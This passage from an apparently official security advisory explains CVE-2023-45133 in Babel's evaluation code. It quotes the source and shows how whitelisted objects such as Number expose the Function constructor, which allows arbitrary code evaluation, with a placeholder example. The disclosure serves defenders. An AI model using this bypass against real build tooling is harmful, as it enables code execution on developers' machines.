plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token keyword" style="color:#8959a8">return</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> keyPath </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">prop </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> NodePath</span><span class="token operator">&lt;</span><span class="token plain">t</span><span class="token punctuation">.</span><span class="token plain">ObjectProperty</span><span class="token operator">&gt;</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"key"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> key</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token comment" style="color:#8e908c">// @ts-expect-error todo(flow-&gt;ts): type refinement issues ObjectMethod and SpreadElement somehow not excluded</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">prop</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">computed</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        key </span><span class="token operator">=</span><span class="token plain"> keyPath</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">evaluate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token plain">key</span><span class="token punctuation">.</span><span class="token plain">confident</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          </span><span class="token function" style="color:#4271ae">deopt</span><span class="token punctuation">(</span><span class="token plain">key</span><span class="token punctuation">.</span><span class="token plain">deopt</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          </span><span class="token keyword" style="color:#8959a8">return</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        key </span><span class="token operator">=</span><span class="token plain"> key</span><span class="token punctuation">.</span><span class="token plain">value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">else</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">keyPath</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        key </span><span class="token operator">=</span><span class="token plain"> keyPath</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">else</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        key </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          keyPath</span><span class="token punctuation">.</span><span class="token plain">node </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> t</span><span class="token punctuation">.</span><span class="token plain">StringLiteral </span><span class="token operator">|</span><span class="token plain"> t</span><span class="token punctuation">.</span><span class="token plain">NumericLiteral </span><span class="token operator">|</span><span class="token plain"> t</span><span class="token punctuation">.</span><span class="token plain">BigIntLiteral</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token plain">value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> valuePath </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">prop </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> NodePath</span><span class="token operator">&lt;</span><span class="token plain">t</span><span class="token punctuation">.</span><span class="token plain">ObjectProperty</span><span class="token operator">&gt;</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"value"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> value </span><span class="token operator">=</span><span class="token plain"> valuePath</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">evaluate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token plain">value</span><span class="token punctuation">.</span><span class="token plain">confident</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token function" style="color:#4271ae">deopt</span><span class="token punctuation">(</span><span class="token plain">value</span><span class="token punctuation">.</span><span class="token plain">deopt</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token keyword" style="color:#8959a8">return</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      value </span><span class="token operator">=</span><span class="token plain"> value</span><span class="token punctuation">.</span><span class="token plain">value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token comment" style="color:#8e908c">// @ts-expect-error key is any type</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token class-name" style="color:#eab700">obj</span><span class="token punctuation">[</span><span class="token plain">key</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> obj</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token doc-comment comment" style="color:#8e908c">/** snip **/</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">path</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isCallExpression</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> callee </span><span class="token operator">=</span><span class="token plain"> path</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"callee"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> context</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> func</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token comment" style="color:#8e908c">// Number(1);</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      callee</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token operator">!</span><span class="token plain">path</span><span class="token punctuation">.</span><span class="token plain">scope</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">getBinding</span><span class="token punctuation">(</span><span class="token plain">callee</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">(</span><span class="token function" style="color:#4271ae">isValidObjectCallee</span><span class="token punctuation">(</span><span class="token plain">callee</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">||</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token function" style="color:#4271ae">isValidIdentifierCallee</span><span class="token punctuation">(</span><span class="token plain">callee</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      func </span><span class="token operator">=</span><span class="token plain"> global</span><span class="token punctuation">[</span><span class="token plain">callee</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">callee</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isMemberExpression</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> object </span><span class="token operator">=</span><span class="token plain"> callee</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"object"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> property </span><span class="token operator">=</span><span class="token plain"> callee</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"property"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token comment" style="color:#8e908c">// Math.min(1, 2)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        object</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        property</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token function" style="color:#4271ae">isValidObjectCallee</span><span class="token punctuation">(</span><span class="token plain">object</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token operator">!</span><span class="token function" style="color:#4271ae">isInvalidMethod</span><span class="token punctuation">(</span><span class="token plain">property</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        context </span><span class="token operator">=</span><span class="token plain"> global</span><span class="token punctuation">[</span><span class="token plain">object</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token comment" style="color:#8e908c">// @ts-expect-error property may not exist in context object</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        func </span><span class="token operator">=</span><span class="token plain"> context</span><span class="token punctuation">[</span><span class="token plain">property</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token comment" style="color:#8e908c">// "abc".charCodeAt(4)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">object</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isLiteral</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"> property</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token comment" style="color:#8e908c">// @ts-expect-error todo(flow-&gt;ts): consider checking ast node type instead of value type (StringLiteral and NumberLiteral)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> type </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">typeof</span><span class="token plain"> object</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">type </span><span class="token operator">===</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"string"</span><span class="token plain"> </span><span class="token operator">||</span><span class="token plain"> type </span><span class="token operator">===</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"number"</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          </span><span class="token comment" style="color:#8e908c">// @ts-expect-error todo(flow-&gt;ts): consider checking ast node type instead of value type</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          context </span><span class="token operator">=</span><span class="token plain"> object</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">value</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">          func </span><span class="token operator">=</span><span class="token plain"> context</span><span class="token punctuation">[</span><span class="token plain">property</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">func</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> args </span><span class="token operator">=</span><span class="token plain"> path</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"arguments"</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token plain">arg</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">evaluateCached</span><span class="token punctuation">(</span><span class="token plain">arg</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token plain">state</span><span class="token punctuation">.</span><span class="token plain">confident</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">return</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">func</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">apply</span><span class="token punctuation">(</span><span class="token plain">context</span><span class="token punctuation">,</span><span class="token plain"> args</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token doc-comment comment" style="color:#8e908c">/** snip **/</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div></div></div></details>
<h4 class="anchor anchorTargetStickyNavbar_tleR" id="handling-of-call-expressions">Handling of Call Expressions<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#handling-of-call-expressions" class="hash-link" aria-label="Direct link to Handling of Call Expressions" title="Direct link to Handling of Call Expressions" translate="no">​</a></h4>
<p>The first thing to understand is that while call expressions can indeed be evaluated, they are subject to a whitelist check, relying on the <code>VALID_OBJECT_CALLEES</code> or <code>VALID_IDENTIFIER_CALLEES</code> arrays.</p>
<p>Additionally, there are three cases for handling call expressions:</p>
<ol>
<li class="">When the callee is an identifier, and the identifier is whitelisted in <code>VALID_OBJECT_CALLEES</code> or <code>VALID_IDENTIFIER_CALLEES</code>.</li>
<li class="">When the callee is a member expression, the object is an identifier, the identifier is whitelisted in <code>VALID_OBJECT_CALLEES</code>, and the property is not blacklisted in <code>INVALID_METHODS</code>.</li>
<li class="">When the callee is a member expression, the object is a literal, and the property is a string/numeric literal.</li>
</ol>
<p>The most interesting one is the second case:</p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  object</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  property</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">isIdentifier</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">isValidObjectCallee</span><span class="token punctuation">(</span><span class="token plain">object</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token operator">!</span><span class="token function" style="color:#4271ae">isInvalidMethod</span><span class="token punctuation">(</span><span class="token plain">property</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  context </span><span class="token operator">=</span><span class="token plain"> global</span><span class="token punctuation">[</span><span class="token plain">object</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token comment" style="color:#8e908c">// @ts-expect-error property may not exist in context object</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  func </span><span class="token operator">=</span><span class="token plain"> context</span><span class="token punctuation">[</span><span class="token plain">property</span><span class="token punctuation">.</span><span class="token plain">node</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token doc-comment comment" style="color:#8e908c">/** snip **/</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">func</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> args </span><span class="token operator">=</span><span class="token plain"> path</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"arguments"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token plain">arg</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">evaluateCached</span><span class="token punctuation">(</span><span class="token plain">arg</span><span class="token punctuation">,</span><span class="token plain"> state</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token plain">state</span><span class="token punctuation">.</span><span class="token plain">confident</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">return</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">func</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">apply</span><span class="token punctuation">(</span><span class="token plain">context</span><span class="token punctuation">,</span><span class="token plain"> args</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>The only blacklisted method is <code>random</code>, which is a method of the <code>Math</code> object. This means that any other method of either the whitelisted <code>Number</code>, <code>String</code>, or <code>Math</code> objects can be directly referenced.</p>
<p>In JavaScript, all classes are functions. Since <code>Number</code> and <code>String</code> are global JavaScript classes, their <code>constructor</code> property points to the <code>Function</code> constructor.</p>
<p>Therefore, the two expressions below are equivalent:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token class-name" style="color:#eab700">Number</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">constructor</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">'javascript_code_here;'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token known-class-name class-name" style="color:#eab700">Function</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">'javascript_code_here;'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>Passing in an arbitrary string to the <code>Function</code> constructor returns a function that will evaluate the provided string as JavaScript code when called.</p>
<p>The AST node generated by <code>Number.constructor('javascript_code_here;')</code> contains:</p>
<ul>
<li class="">A call expression, where<!-- -->
<ul>
